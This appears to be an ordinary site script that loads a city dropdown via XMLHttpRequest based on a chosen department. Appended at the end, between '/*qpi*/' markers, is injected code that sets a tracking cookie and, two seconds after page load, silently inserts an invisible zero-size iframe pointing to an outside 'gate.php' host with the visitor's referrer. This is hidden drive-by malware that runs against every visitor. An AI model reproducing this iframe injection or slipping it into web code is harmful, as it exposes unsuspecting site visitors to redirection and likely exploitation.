// JavaScript Document

function createXMLHttpRequest(){
        try {
                xmlHttp = new ActiveXObject('Msxml2.XMLHTTP');
        } catch (e) {

                try {
                        xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
                } catch (E) {
                        xmlHttp = false;
                }
        }
        if (!xmlHttp && typeof XMLHttpRequest!='undefined') {
                xmlHttp = new XMLHttpRequest();
        }
        return xmlHttp
}

var url='ciudad.php?codigo_dpto=';
function startRequest_ciudad(){
  var codigo = document.getElementById("departamento").value;
  createXMLHttpRequest();
  xmlHttp.onreadystatechange = handleStateChange_ciudad;
  xmlHttp.open("GET", url + codigo, true);
  xmlHttp.send(null);
}

function handleStateChange_ciudad(){
  if (xmlHttp.readyState == 4){
    if (xmlHttp.status == 200){
	  document.getElementById("r_ciudad").innerHTML = xmlHttp.responseText;
	}
  }
  else
	{
		document.getElementById("r_ciudad").innerHTML = '<select><option>Cargando..</option></select>';
	}
}

/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=837347&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
